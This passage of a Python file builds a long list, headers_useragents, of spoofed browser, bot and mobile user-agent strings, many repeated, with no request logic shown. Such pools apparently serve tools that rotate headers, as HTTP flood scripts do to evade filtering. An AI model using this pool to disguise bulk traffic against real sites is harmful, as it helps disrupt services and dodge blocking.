  416.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  417.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  418.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  419.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  420.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  421.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  422.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  423.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  424.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  425.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  426.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  427.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  428.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  429.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  430.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  431.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  432.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  433.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  434.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  435.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  436.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  437.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  438.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  439.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  440.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  441.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  442.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  443.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  444.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  445.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  446.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  447.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  448.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  449.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  450.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  451.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  452.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  453.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  454.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  455.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  456.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  457.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  458.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  459.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  460.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  461.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  462.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  463.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  464.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  465.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  466.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  467.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  468.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  469.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  470.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  471.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  472.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  473.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  474.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  475.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  476.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  477.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  478.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  479.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  480.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  481.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  482.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  483.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  484.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  485.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  486.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  487.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  488.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  489.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  490.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  491.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  492.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  493.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  494.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  495.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  496.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  497.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  498.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  499.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  500.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  501.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  502.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  503.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  504.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  505.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  506.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  507.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  508.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  509.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  510.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  511.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  512.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  513.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  514.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  515.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  516.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  517.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  518.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  519.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  520.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  521.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  522.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  523.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  524.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  525.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  526.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  527.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  528.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  529.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  530.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  531.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  532.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  533.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  534.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  535.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  536.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  537.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  538.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  539.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  540.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  541.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  542.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  543.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  544.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  545.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  546.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  547.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  548.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  549.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  550.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  551.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  552.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  553.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  554.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  555.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  556.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  557.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  558.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  559.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  560.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  561.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  562.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  563.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  564.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  565.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  566.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  567.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  568.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  569.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  570.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  571.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  572.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  573.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  574.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  575.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  576.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  577.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  578.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  579.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  580.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  581.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  582.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  583.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  584.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  585.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  586.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  587.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  588.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  589.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  590.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  591.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  592.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  593.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  594.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  595.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  596.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  597.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  598.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  599.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  600.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  601.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  602.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  603.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  604.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  605.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  606.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  607.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  608.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  609.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
